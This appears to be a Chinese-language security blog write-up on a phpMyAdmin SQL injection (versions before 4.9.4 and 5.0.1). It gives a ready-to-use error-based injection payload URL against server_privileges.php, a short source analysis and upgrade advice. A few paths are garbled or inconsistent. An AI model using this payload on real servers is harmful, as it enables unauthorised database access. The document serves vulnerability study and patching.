简介
phpMyAdmin 是一个以PHP为基础,以Web-Base方式架构在网站主机上的MySQL的数据库管理工具,让管理者可用Web接口管理MySQL数据库。
影响版本
phpMyAdmin 4 < 4.9.4
phpMyAdmin 5 < 5.0.1
q
环境搭建
为了方便做事,这里我直接用把phpmyadmin文件拖入集成环境中
下载地址
https://files.phpmyadmin.net/phpMyAdmin/5.0.0/phpMyAdmin-5.0.0-english.zip
漏洞复现
需要已知phpMyadmin的一个用户口令
步骤如下
设置变量ajax_requests为true;
设置变量validate_username 为真值;
设置变量username 为我们拼接的注入语句。
PAYLOAD:
http://Your-Ip/phpMyAdmin4.8.5/server_privileges.php?ajax_request=true&validate_username=true&username=test%27%20and%20(select%20updatexml(1,concat(0x7e,(SELECT%20user()),0x7e),1))%20--%20
漏洞分析
漏洞定位 librariesclassesServerPrivileges.php,username和validate_username都可控
可以看到if处于getExtraDataForAjaxBehavior函数内
跳转到文件phpMyAdmin-5.0.0-englishserver_privileges.php
extra_data触发了此函数
看看isAjax函数,全局定位
可以发现ajax_request是REQUEST传输过来了,即可控其值
修复建议
升级到安全版本
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论